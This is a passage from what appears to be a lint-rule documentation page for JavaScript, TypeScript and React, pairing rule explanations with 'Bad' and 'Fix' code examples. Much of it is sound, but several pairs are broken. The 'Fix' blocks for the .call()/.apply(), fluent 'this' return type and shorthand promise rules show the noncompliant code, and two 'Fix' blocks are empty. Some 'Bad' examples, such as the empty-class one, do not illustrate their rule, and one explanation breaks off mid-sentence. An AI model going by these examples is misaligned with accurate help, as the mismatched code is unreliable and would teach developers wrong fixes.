      <p>All function parameters with default values should be declared after the function parameters without default values. Otherwise, it makes it impossible for callers to take advantage of defaults; they must re-specify the defaulted values or pass <code>undefined</code> to be able to specify the non-default parameters.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      function multiply(a = 1, b) { // Noncompliant: parameter with default value should be last
      return a*b;
      }

      let x = multiply(1, 42); // Cannot benefit from default value
      ```

      ```javascript Fix theme={null}
      function multiply(b, a = 1) {
      return a*b;
      }

      let x = multiply(42);
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Methods and properties that dont access instance data should be static">
    <div class="paragraph">
      <p>If a class method doesn’t access properties of that class (i.e. it doesn’t use <code>this), it should be made static</code>.</p>
    </div>

    <div class="paragraph" />

    <CodeGroup>
      ```javascript Bad theme={null}
      class Foo {
      constructor() {
      this.i = 1;
      }

      bar() {
      window.focus();
      }
      }
      ```

      ```javascript Fix theme={null}
      class Foo {
      constructor() {
      this.i = 1;
      }

      static bar() {
      window.focus();
      }
      }
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="await should not be used redundantly">
    <div class="paragraph">
      <p>An <code>async function always wraps the return value in a Promise. Using return await</code> is not required and comes at an extra performance cost.
      However, you might wish to keep it as it preserves the function call in the stack trace in case an error is thrown asynchronously.</p>
    </div>

    <div class="paragraph" />

    <CodeGroup>
      ```javascript Bad theme={null}
      async function foo() {
      // ...
      }

      async function bar() {
      // ...
      return await foo(); // Noncompliant
      }
      ```

      ```javascript Fix theme={null}
      async function foo() {
      // ...
      }

      async function bar() {
      // ...
      return foo();
      }
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Unnecessary constructors should be removed">
    <div class="paragraph">
      <p>If the class declaration does not include a constructor, one is automatically created, so there is no need to provide an empty constructor, or one that just delegates to the parent class.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      class Foo {
      constructor() {}  // Noncompliant, empty
      }

      class Bar extends Foo {
      constructor(params) { // Noncompliant: just delegates to the parent
          super(params);
      } 
      }
      ```

      ```javascript Fix theme={null}
      class Foo {}

      class Bar extends Foo {}
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="module should not be used">
    <div class="paragraph">
      <p>Initially, TypeScript defined "internal modules" and "external modules":</p>
    </div>

    <div class="ulist">
      <ul>
        <li>
          <p>Internal modules: The module keyword was introduced in TypeScript to define internal modules. Internal modules were used to group classes, interfaces, and functions into logical units.</p>
        </li>

        <li>
          <p>External modules refer to JavaScript modules, introduced in ECMAScript 2015. In TypeScript, just as in JavaScript (after ECMAScript 2015), any file containing a top-level import or export is considered a module.</p>
        </li>
      </ul>
    </div>

    <div class="paragraph">
      <p>However, in order to avoid confusion with similarly named terms, module was deprecated in favor of the namespace keyword, and "external modules" became simply "modules", as to align with ECMAScript 2015’s terminology.</p>
    </div>

    <div class="paragraph">
      <p>Now that <code>namespace is available, the use of module is deprecated because it does the same thing, and its use could confuse maintainers unaware of the history of the language. Therefore, the use of module</code> is discouraged in TypeScript code.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      module myMod {  // Noncompliant
      // ...
      }
      ```

      ```javascript Fix theme={null}
      namespace myMod {
      // ...
      }
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Calls to .call() and .apply() methods should not be redundant">
    <div class="paragraph">
      <p>If the function call can be written in a normal way, then calling that function with .call() or .apply() methods is redundant and can be removed without affecting the behavior of the code.</p>
    </div>

    <div class="paragraph">
      <p>The .call() and .apply() methods are traditionally used to explicitely set the value of this keyword when executing a function or an object method. When calling a method of an object the value of this by default will be the reference to that object. But if you call a function or a method using .call() and .apply() you can set the value of this to any object, whatever you put into the first argument.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      let obj = {
      checkThis() {
          this === obj; // true, if called the normal way: obj.checkThis()
      }
      };

      let otherObject = {};

      obj.checkThis.call(otherObject); // this === otherObject, if called this way
      ```

      ```javascript Fix theme={null}
      foo.call(null, 1, 2); // Noncompliant: .call() is redundant
      obj.foo.call(obj, arg1, arg2); // Noncompliant: .call() is redundant
      bar.apply(undefined, [x, y, z]); // Noncompliant: .apply() is redundant
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Deprecated React APIs should not be used">
    <div class="paragraph">
      <p>Deprecated methods are functions or properties that are no longer recommended and are likely to be removed in future updates of the library. They are often replaced with newer methods that offer better performance, security, or usability.</p>
    </div>

    <div class="paragraph">
      <p>Using deprecated methods in React can lead to the following issues:</p>
    </div>

    <div class="ulist">
      <ul>
        <li>
          <p><strong>Code Maintainability</strong>: As deprecated methods are removed in future versions, the code will break if not updated. This can lead to increased time and effort in code maintenance.</p>
        </li>

        <li>
          <p><strong>Performance</strong>: Newer methods often come with performance improvements. Using deprecated methods can lead to slower app performance.</p>
        </li>

        <li>
          <p><strong>Security</strong>: Deprecated methods may have known security issues that are fixed in newer methods.</p>
        </li>
      </ul>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      import React, { useState, useEffect } from 'react';

      function MyComponent(props) {
      const [state, setState] = useState(initialState);

      componentWillReceiveProps(nextProps) { // Noncompliant: deprecated lifecycle method
      // Some code here...
      }

      componentWillUpdate(nextProps, nextState) { // Noncompliant: deprecated lifecycle method
      // Some code here...
      }

      render() {
      return <div>Hello World</div>;
      }
      }
      ```

      ```javascript Fix theme={null}
      import React, { useState, useEffect } from 'react';

      function MyComponent(props) {
      const [state, setState] = useState(initialState);

      // Using useEffect to replace deprecated lifecycle methods
      useEffect(() => {
      // Code to run on component update
      }, [props]); // This will run when `props` changes

      return <div>Hello World</div>;
      }
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Mutable variables should not be exported">
    <div class="paragraph">
      <p>In JavaScript, a mutable variable is one whose value can be changed after it has been initially set. This is in contrast to immutable variables, whose values cannot be changed once they are set.</p>
    </div>

    <div class="paragraph">
      <p>Exporting mutable variables can lead to unpredictable behavior and bugs in your code. This is because any module that imports the variable can change its value. If multiple modules import and change the value of the same variable, it can become difficult to track what the current value of the variable is and which module changed it last.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      let mutableVar = "initial value";

      export { mutableVar }; // Noncompliant
      ```

      ```javascript Fix theme={null}
      const immutableVar = "constant value";
      export { immutableVar };
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Disallow `.bind()` and arrow functions in JSX props">
    <div class="paragraph">
      <p>Using Function.prototype.bind and arrows functions as attributes will negatively impact performance in React. Each
      time the parent is rendered, the function will be re-created and trigger a render of the component causing excessive
      renders and more memory use. Wrapping the function in a useCallback hook will avoid additional renders. This rule
      ignores Refs. This rule does not raise findings on DOM nodes since that may require wrapping the DOM in a component.
      Still, better performance can be achieved if this rule is respected in DOM nodes too.</p>
    </div>

    <div class="paragraph" />

    <CodeGroup>
      ```javascript Bad theme={null}
      <Component onClick={this._handleClick.bind(this)}></Component>

      <Component onClick={() => handleClick()}></Component>
      ```

      ```javascript Fix theme={null}
      function handleClick() {
      //...
      }

      <Component onClick={handleClick}></Component>
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Reacts isMounted should not be used">
    <div class="paragraph">
      <p>React isMounted() is primarily used to avoid calling setState() after a component has unmounted, because calling setState() after a component has unmounted will emit a warning. Checking isMounted() before calling setState() does eliminate the warning, but it also defeats the purpose of the warning, which is raising awareness that the app is still holding a reference to the component after the component has been unmounted.</p>
    </div>

    <div class="paragraph">
      <p>When using ES6 classes, using isMounted() is already prohibited.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      class MyComponent extends React.Component {
      componentDidMount() {
      mydatastore.subscribe(this);
      }
      dataHandler() {
      if (this.isMounted()) { // Noncompliant: isMounted() hides the error
        //...
      }
      }
      render() {
      //... calls dataHandler()
      }
      };
      ```

      ```javascript Fix theme={null}
      class MyComponent extends React.Component {
      componentDidMount() {
      mydatastore.subscribe(this);
      }
      dataHandler() {
      //...
      }
      render() {
      //...
      }
      componentWillUnmount() {
      mydatastore.unsubscribe(this);
      }
      }
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Nested code blocks should not be used">
    <div class="paragraph">
      <p>Nested code blocks can be used to create a new scope: variables declared within that block cannot be accessed from the outside,
      and their lifetime end at the end of the block. However, this only happens when you use ES6 let or const keywords,
      a class declaration or a function declaration (in strict mode). Otherwise, the nested block is redundant and should be removed.</p>
    </div>

    <div class="paragraph" />

    <CodeGroup>
      ```javascript Bad theme={null}
      {
      let x = 1;
      }
      ```

      ```javascript Fix theme={null}
      "use strict";
      {
      function foo() {}
      }
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Array indexes should be numeric">
    <div class="paragraph">
      <p>In JavaScript, array indexes should be numeric because arrays are implemented as objects with numeric keys. When an array is created, it is actually an object with properties that are numeric keys. These keys are used to access and assign values stored in the array.</p>
    </div>

    <div class="paragraph">
      <p>If an array index is not numeric, it will be converted to a string and used as a property name. This can lead to unexpected behavior, as properties are not guaranteed to be ordered in the same way as numeric indexes. For example, if an array has both numeric and non-numeric keys, the non-numeric keys may appear in a different order than the numeric keys.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      let arr = [];
      arr[0] = 'a';
      arr['name'] = 'bob'; // Noncompliant: The 'name' property with value 'bob' appears after the elements 'a' and 'foo'
      arr[1] = 'foo';
      ```

      ```javascript Fix theme={null}
      let arr = [];
      arr[0] = 'a';
      arr[1] = 'foo';
      arr[2] = 'bob';
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Constructors should not be declared inside interfaces">
    <div class="paragraph">
      <p>JavaScript and TypeScript classes may define a constructor method that is executed when a new instance is created. TypeScript allows interfaces that describe a static class object to define a new() method. Using these terms to name methods in other contexts can lead to confusion and make the code unclear and harder to understand.</p>
    </div>

    <div class="paragraph">
      <p>This rule reports when:</p>
    </div>

    <div class="ulist">
      <ul>
        <li>
          <p>A class defines a method named new. The new keyword is used to create new instances of the class. If a method with the same name is defined, it can be unclear whether the method is intended to create new instances or perform some other action.</p>
        </li>

        <li>
          <p>An interface defines a method named constructor. The constructor method is used to define the constructor function for a class that implements the interface. If a method with the same name is defined in the interface, it can be unclear whether the method is intended to define the constructor function or perform some other action.</p>
        </li>
      </ul>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      interface I {
      constructor(): void; // Noncompliant
      new(): I;
      }

      declare class C {
      constructor();
      new(): C; // Noncompliant
      }
      ```

      ```javascript Fix theme={null}
      interface I {
      new(): I;
      }

      declare class C {
      constructor();
      }
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Default parameters should not cause side effects">
    <div class="paragraph">
      <p>The assignment of default parameter values is generally intended to help the caller. But when a default assignment causes side effects, the caller may not be aware of the extra changes or may not fully understand their implications. I.e. default assignments with side effects may end up hurting the caller, and for that reason, they should be avoided.</p>
    </div>

    <div class="paragraph" />

    <CodeGroup>
      ```javascript Bad theme={null}
      var count = 0;

      function go(i = count++) {  // Noncompliant
      console.log(i);
      }

      go();  // outputs 0
      go(7); // outputs 7
      go();  // outputs 1
      ```

      ```javascript Fix theme={null}
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="delete should be used only with object properties">
    <div class="paragraph">
      <p>The delete operator is used to remove a property from an object. It only affects its <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/hasOwn">own</a> properties. There are two valid ways to remove a property:</p>
    </div>

    <div class="ulist">
      <ul>
        <li>
          <p>Using the dot notation: delete object.property</p>
        </li>

        <li>
          <p>Using the bracket notation: delete object\[property]</p>
        </li>
      </ul>
    </div>

    <div class="paragraph">
      <p>delete will throw a TypeError in strict mode if the property is a non-configurable property.</p>
    </div>

    <div class="paragraph">
      <p>delete identifier may work if identifier is a <strong>configurable</strong> property of the global object. For identifier to be <strong>configurable</strong>, it should have been declared directly as a globalThis property (globalThis.identifier = 1). This form is not common practice and should be avoided. Use delete globalThis.identifier instead if needed.</p>
    </div>

    <div class="paragraph">
      <p>Aside from that case, deleting variables, including function parameters, never works:</p>
    </div>

    <div class="ulist">
      <ul>
        <li>
          <p>Variables declared with var cannot be deleted from the global or a function’s scope, because while they may be attached to the global object, they are <strong>non-configurable</strong>. In CommonJS and ECMAScript modules, top-level variable declarations are scoped to the module and not attached to the global object.</p>
        </li>

        <li>
          <p>Variables declared with let or const are not attached to any object.</p>
        </li>
      </ul>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      var x = 1;
      delete x; // Noncompliant: depending on the context, this does nothing or throws TypeError

      function foo(){}
      delete foo; // Noncompliant: depending on the context, this does nothing or throws TypeError
      ```

      ```javascript Fix theme={null}
      var obj = {
      x: 1,
      foo: function(){
      ...
      }
      };
      delete obj['x'];
      delete obj.foo;
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="defaults should be a function when objects or arrays are used">
    <div class="paragraph">
      <p>When using the Backbone.js framework with model <code>defaults that contain arrays or objects, defaults should be defined as a function rather than an object. This is because objects and arrays are passed by reference in JavaScript. So a defaults</code> object that contains arrays or objects is going to set the default value of every instance to point to the same shared object or array.</p>
    </div>

    <div class="paragraph">
      <p>Use a function instead and a fresh copy of the object or array will be peeled off for each instance.</p>
    </div>

    <div class="paragraph" />

    <CodeGroup>
      ```javascript Bad theme={null}
      var Person = Backbone.Model.extend({
      defaults: {  // Noncompliant; every instance of Person will share the same instance of favoriteColors
          favoriteColors: ["blue","purple","raspberry"]
      }
      });
      ```

      ```javascript Fix theme={null}
      var Person = Backbone.Model.extend({
      defaults: function() {
        return {
          favoriteColors: ["blue","purple","raspberry"]
        };
      }
      });
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Classes should not be empty">
    <div class="paragraph">
      <p>Using an empty class serves no purpose and can hinder the readability of the code.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      class Foo {
      static bar() {
      // ...
      }
      }
      ```

      ```javascript Fix theme={null}
      export function bar()  {
      // ...
      }
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="iFrames must have a title">
    <div class="paragraph">
      <p>An iframe, or inline frame, is an HTML document embedded inside another HTML document on a website. The iframe HTML element is often used to insert content from another source, such as an advertisement, into a web page.</p>
    </div>

    <div class="paragraph">
      <p>In the context of web accessibility, <code>\<iframe>'s should have a title</code> attribute. This is because screen readers for the visually impaired use this title to help users understand the content of the iframe.</p>
    </div>

    <div class="paragraph">
      <p>Without a title, it can be difficult for these users to understand the context or purpose of the iframe’s content.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      function iframe() {
      return (
          <iframe src="https://openweathermap.org"></iframe> // Noncompliant
      );
      }
      ```

      ```javascript Fix theme={null}
      function iframe() {
      return (
          <iframe src="https://openweathermap.org" title="Weather forecasts, nowcasts and history"></iframe>
      );
      }
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Prefer the return type this in fluent interfaces">
    <div class="paragraph">
      <p>When a method return type is the declaring class name in a hierarchy of classes,
      it is impossible to chain methods defined in the superclass with methods defined in subclasses.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      class RichText {
      constructor(private readonly text: string) {}
      bold(): RichText {
          // [...]
          return this;
      }
      italic(): RichText {
          // [...]
          return this;
      }
      }

      const richText = new RichText('Hello, World!');
      // Chaining methods bold() and italic().
      console.log(richText.bold().italic());
      ```

      ```javascript Fix theme={null}
      enum Color {
      RED, BLUE, GREEN
      }

      class Shape {
      // The return type is the class name.
      move(x: number, y: number): Shape {
          // [...]
          return this;
      }
      }

      class Polygon extends Shape {
      fill(color: Color): Polygon {
          // [...]
          return this;
      }
      }

      const polygon = new Polygon();
      polygon.move(1.0, 2.0).fill(Color.RED);
      //                     ^^^^
      //                     Property 'fill' does not exist on type 'Shape'.
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="as const assertions should be preferred">
    <div class="paragraph">
      <p>TypeScript provides two ways to tell the compiler that a literal value should be typed as a literal type like 42 rather than the primitive one number:</p>
    </div>

    <div class="ulist">
      <ul>
        <li>
          <p>as const tells TypeScript to infer the literal type automatically</p>
        </li>

        <li>
          <p>as T where T denotes a literal type to instruct TypeScript to infer the literal type explicitly</p>
        </li>
      </ul>
    </div>

    <div class="paragraph">
      <p>In practice, as const is preferred because the type checker doesn’t need re-typing the literal value.</p>
    </div>

    <div class="paragraph">
      <p>Therefore, the rule flags occurrences of explicit literal types that can be replaced with an as const assertion.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      class Foo {
      public static foo: 42 = 42; // Noncompliant

      // ...
      }
      ```

      ```javascript Fix theme={null}
      class Foo {
      public static foo = 42 as const;

      // ...
      }
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="=== and !== should be used instead of == and !=">
    <div class="paragraph">
      <p>In JavaScript, there are two types of comparison operators: strict and non-strict.</p>
    </div>

    <div class="ulist">
      <ul>
        <li>
          <p>Strict operators: These operators compare both value and type. They are represented as === (strict equality) and !== (strict inequality). For example, \`5 =</p>
        </li>
      </ul>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      function checkEqual(a, b) {
      if (a == b) { // Noncompliant: using non-strict equality '=='
      return "Equal";
      } else {
      return "Not equal";
      }
      }

      console.log(checkEqual(0, false)); // Output: "Equal"
      ```

      ```javascript Fix theme={null}
      function checkEqual(a, b) {
      if (a === b) {
      return "Equal";
      } else {
      return "Not equal";
      }
      }

      console.log(checkEqual(0, false)); // Output: "Not equal
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="In React this.state should not be mutated directly">
    <div class="paragraph">
      <p>React does not always propagate component state changes to the underlying DOM elements immediately. If you modify the state during an already ongoing update cycle, the change may be delayed until the next update. React tries to keep this.state in sync with what is currently in the DOM, so you should never directly modify this.state yourself. Instead, use the asynchronous setState method instead, which allows React to properly manage the current state, trigger the new update cycle, or batch the updates together if necessary.</p>
    </div>

    <div class="paragraph">
      <p>Note that setState() is a <em>request</em> to change the state, not an immediate update. For example, if multiple components are changing the state in response to a user event, React will wait until the event handler has finished executing and then render all the changes in a single update. In other cases, the updates may be executed one at a time, so you should never make assumptions about how the component state will change in response to your request.</p>
    </div>

    <div class="paragraph">
      <p>If your next state is a function of the current state, you should pass an updater function to the setState() that will give you access to the correct component state at the time of the execution.</p>
    </div>

    <div class="paragraph">
      <p>The only place where you should directly modify the state is during the component initialization in a constructor function.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      class MyComponent extends React.Component {
      constructor() {
      super();
      this.state = { 
        count: 0
      };
      }

      incrementCount() {
      this.state.count++; // Noncompliant: direct mutation of state object
      }

      render() {
      return (
        <div>
          <p>Count: {this.state.count}</p>
          <button onClick={this.incrementCount}>Increment</button>
        </div>
      );
      }
      }
      ```

      ```javascript Fix theme={null}
      class MyComponent extends React.Component {
      constructor() {
      super();
      this.state = { 
        count: 0
      };
      }

      incrementCount() {
      this.setState(prevState => ({
        count: prevState.count + 1
      }));
      }

      render() {
      return (
        <div>
          <p>Count: {this.state.count}</p>
          <button onClick={this.incrementCount}>Increment</button>
        </div>
      );
      }
      }
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="new operator should not be used with Symbol and BigInt">
    <div class="paragraph">
      <p>Using the new operator with Symbol and BigInt will throw a TypeError because they are not intended to be used as constructors. Symbol and BigInt are primitive types in JavaScript and should be used as such.</p>
    </div>

    <div class="paragraph">
      <p>This is different from the other primitive types, such as string, number or boolean, where it was possible to call global String or Number as functions that return primitive types, but also use them as constructors with the new operator to create wrapper objects. This confusing double behavior is not implemented for Symbol and BigInt types that were introduced later in the language.</p>
    </div>

    <div class="paragraph">
      <p>This behavior would be especially problematic for symbols that have reference identity and already behave like objects in some way. For example, they are garbage collectable and therefore can be used as keys in WeakMap and WeakSet objects.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      let foo = new Symbol('abc'); // Noncompliant: TypeError: Symbol is not a constructor
      let bar = new BigInt(123);   // Noncompliant: TypeError: BigInt is not a constructor
      ```

      ```javascript Fix theme={null}
      let foo = Symbol('abc');
      let bar = BigInt(123);
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Named function expressions should not be used">
    <div class="paragraph">
      <p>While named function expressions might be useful for debugging purposes, some browsers do not support them correctly (for example Internet Explorer 8).</p>
    </div>

    <div class="paragraph" />

    <CodeGroup>
      ```javascript Bad theme={null}
      f = function fun(){}; // Noncompliant;  named function expression
      ```

      ```javascript Fix theme={null}
      fun = function(){}; // Compliant; function expression
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="HTML elements should have a valid language attribute">
    <div class="paragraph">
      <p>Screen readers require a specified language to function correctly. Without it, they default to the user’s set language, causing issues for multilingual users. Specifying a valid language ensures correct pronunciation and a less confusing experience.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      <html></html>
      ```

      ```javascript Fix theme={null}
      <html lang="en"></html>
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="DOM elements with ARIA role should only have supported properties">
    <div class="paragraph">
      <p>ARIA properties, also known as "aria-\* properties", are special attributes used in HTML to enhance the accessibility of web elements. They provide additional semantics to help assistive technologies, like screen readers, interpret the element.</p>
    </div>

    <div class="paragraph">
      <p>Roles, on the other hand, define what an element is or does in the context of a web page. Some elements have explicit roles, which are directly defined by the developer. For example, a div element might be given a role of "button". Other elements have implicit roles, which are inferred based on the type of the element. For example, an anchor tag \<a href="#" /> has an implicit role of "link".</p>
    </div>

    <div class="paragraph">
      <p>This rule ensures that the ARIA properties used on an element are ones that are supported by the role of that element. For instance, the ARIA property aria-required is not supported by the role link. Therefore, using aria-required on an anchor tag would violate this rule.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      <div role="checkbox" aria-chekd={isChecked}>Unchecked</div> {/* Noncompliant: aria-chekd is not supported */}
      ```

      ```javascript Fix theme={null}
      <div role="checkbox" aria-checked={isChecked}>Unchecked</div>
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Extra boolean casts should be removed">
    <div class="paragraph">
      <p>In JavaScript, every value can be coerced into a boolean value: either \`true or false. Values that are coerced into true are said to be <a href="https://developer.mozilla.org/en-US/docs/Glossary/Truthy"><em>truthy</em></a>, and those coerced into false are said to be <a href="https://developer.mozilla.org/en-US/docs/Glossary/Falsy"><em>falsy</em></a>.</p>
    </div>

    <div class="paragraph">
      <p>Explicit conversion to a boolean can be done with double negation (!!) or a Boolean\` call. Depending on the context, this may be redundant as JavaScript uses implicit type coercion and automatically converts values to booleans when used with logical operators, conditional statements, or any boolean context.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      if (!!foo) { // Noncompliant: redundant '!!'
      // ...
      }

      if (Boolean(foo)) {  // Noncompliant: redundant 'Boolean' call
      // ...
      }
      ```

      ```javascript Fix theme={null}
      if (foo) {
      // ...
      }
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="case and default clauses should not contain lexical declarations">
    <div class="paragraph">
      <p>The ECMAScript specification allows for creating block-level lexical declarations (let, const, function, and class) in any block statement or expression. However, when these declarations are made inside the case or default clause of a switch statement, they are not confined to the block of that case or default clause. Instead, they apply to the whole switch block but only get initialized when the cases are reached, which can lead to unexpected behavior.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      switch (foo) {
      case 1:
          let x = 1; // Noncompliant
          break;
      case 2:
          const y = 2; // Noncompliant
          break;
      case 3:
          function f() {} // Noncompliant
          break;
      case 4:
          class C {} // Noncompliant
          break;
      }
      ```

      ```javascript Fix theme={null}
      switch (foo) {
      case 1: {
          let x = 1;
          break;
      }
      case 2: {
          const y = 2;
          break;
      }
      case 3: {
          function f() {}
          break;
      }
      case 4: {
          class C {}
          break;
      }
      }
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Extra semicolons should be removed">
    <div class="paragraph">
      <p>Extra semicolons (\`;) are usually introduced by mistake, for example because:</p>
    </div>

    <div class="ulist">
      <ul>
        <li>
          <p>It was meant to be replaced by an actual statement, but this was forgotten.</p>
        </li>

        <li>
          <p>There was a typo which lead the semicolon to be doubled, i.e. ;;\`.</p>
        </li>

        <li>
          <p>There was a misunderstanding about where semicolons are required or useful.</p>
        </li>
      </ul>
    </div>

    <div class="paragraph" />

    <CodeGroup>
      ```javascript Bad theme={null}
      var x = 1;; // Noncompliant

      function foo() {
      };  // Noncompliant
      ```

      ```javascript Fix theme={null}
      var x = 1;

      function foo() {
      }
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Calls should not be made to non-callable values">
    <div class="paragraph">
      <p>The fact that JavaScript is not a strongly typed language allows developers a lot of freedom, but that freedom can be dangerous if you go too far with it.</p>
    </div>

    <div class="paragraph">
      <p>Specifically, it is syntactically acceptable to invoke any expression as though its value were a function. But a <code>TypeError</code> may be raised if you do.</p>
    </div>

    <div class="paragraph" />

    <CodeGroup>
      ```javascript Bad theme={null}
      foo = 1;
      foo();   // Noncompliant; TypeError

      foo = undefined;
      foo();  // Noncompliant; TypeError
      ```

      ```javascript Fix theme={null}
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Shorthand promises should be used">
    <div class="paragraph">
      <p>In JavaScript, a promise is an object representing the eventual completion or failure of an asynchronous operation. It is a way to handle asynchronous operations more elegantly and avoid the "callback hell".</p>
    </div>

    <div class="paragraph">
      <p>A promise can be in one of three states:</p>
    </div>

    <div class="ulist">
      <ul>
        <li>
          <p>Pending: The initial state of a promise. It represents that the asynchronous operation is still ongoing and has not yet been fulfilled or rejected.</p>
        </li>

        <li>
          <p>Fulfilled: The state of a promise when the asynchronous operation has been successfully completed. It represents that the promised value is available and can be consumed.</p>
        </li>

        <li>
          <p>Rejected: The state of a promise when the asynchronous operation encounters an error or fails to complete. It represents that an error has occurred and the promised value is not available.</p>
        </li>
      </ul>
    </div>

    <div class="paragraph">
      <p>The basic syntax for creating a promise in JavaScript is as follows:</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      const myPromise = new Promise((resolve, reject) => {
      // Asynchronous operation
      // If the operation is successful, call resolve(value)
      // If the operation fails, call reject(error)
      });
      ```

      ```javascript Fix theme={null}
      const result = new Promise(resolve => resolve(42)); // Noncompliant: Redundant to explicitly create a promise to resolve 42
      result.then(value => {
      console.log(value); // Output: 42
      });
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Ends of strings should be checked with startsWith() and endsWith()">
    <div class="paragraph">
      <p>When writing code, it is quite common to test patterns against string ends. For a long time, JavaScript did not provide proper support for this use case. As a result, developers have been relying on various programming subtleties to check the start or end of a string. Examples are getting the index of a substring, slicing the beginning of a string, extracting a substring from the head, matching a regular expression beginning or ending with a pattern, and so on.</p>
    </div>

    <div class="paragraph">
      <p>While these approaches are all technically valid, they look more like hacking than anything else, blur the developer’s intent, but more importantly affect code readability.</p>
    </div>

    <div class="paragraph">
      <p>Since ES2015, JavaScript provides String#startsWith and String#endsWith, which are the preferred ways to test patterns against string ends.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      const str = 'abc';

      str[0] === 'a';
      str.charAt(0) === 'a';
      str.indexOf('abc') === 0;
      str.slice(0, 3) === 'abc';
      str.substring(0, 3) === 'abc';
      str.match(/^abc/) != null;
      /^abc/.test(str);
      ```

      ```javascript Fix theme={null}
      str.startsWith('abc');
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="The return value of void functions should not be used">
    <div class="paragraph">
      <p>When a function in JavaScript does not have a return statement or if it has a return statement without a value, it implicitly returns undefined. This means that a function without a return statement or with an empty return statement is, in a way, a "void" function, as it doesn’t return any specific value.</p>
    </div>

    <div class="paragraph">
      <p>Therefore, attempting to use the return value of a void function in JavaScript is meaningless, and it can lead to unexpected behavior or errors.</p>
    </div>

    <div class="paragraph" />

    <CodeGroup>
      ```javascript Bad theme={null}
      function foo() {
      console.log("Hello, World!");
      }

      let a = foo(); // Noncompliant: Assigning the return value of a void function
      ```

      ```javascript Fix theme={null}
      function foo() {
      console.log("Hello, World!");
      }

      foo();
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="All defaultProps should have non-required PropTypes">
    <div class="paragraph">
      <p>React Legacy APIs provide a way to define the default values for props and check the prop types at runtime. This rule verifies if a defaultProps definition does have a corresponding propTypes definition. If it is missing, this could be the result of errors in refactoring or a spelling mistake.</p>
    </div>

    <div class="paragraph">
      <p>It is also an error if a defaultProp has propType that is marked as isRequired.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      function MyComponent({foo, bar}) {
      return <div>{foo}{bar}</div>;    
      }

      MyComponent.propTypes = {
      foo: React.PropTypes.string.isRequired,
      };

      MyComponent.defaultProps = {
      foo: "foo", // Noncompliant: foo is a required prop
      bar: "bar", // Noncompliant: bar propType is missing
      };
      ```

      ```javascript Fix theme={null}
      function MyComponent({foo, bar}) {
      return <div>{foo}{bar}</div>;    
      }

      MyComponent.propTypes = {
      foo: React.PropTypes.string,
      bar: React.PropTypes.string,
      };

      MyComponent.defaultProps = {
      foo: "foo", 
      bar: "bar",
      };
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="React components should not render non-boolean condition values">
    <div class="paragraph">
      <p>Logical AND (&&) operator is sometimes used to conditionally render in React (aka short-circuit evaluation). For example, myCondition && \<MyElement /> will return \<MyElement /> if myCondition is true and false otherwise.</p>
    </div>

    <div class="paragraph">
      <p>React considers false as a 'hole' in the JSX tree, just like null or undefined, and doesn’t render anything in its place. But if the condition has a falsy non-boolean value (e.g. 0), that value will leak into the rendered result.</p>
    </div>

    <div class="paragraph">
      <p>This rule will report when the condition has type number or bigint.</p>
    </div>

    <div class="paragraph">
      <p>In the case of React Native, the type string will also raise an error, as your render method will crash if you render 0, '', or NaN.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      function Profile(props) {
      return <div>
      <h1>{ props.username }</h1>
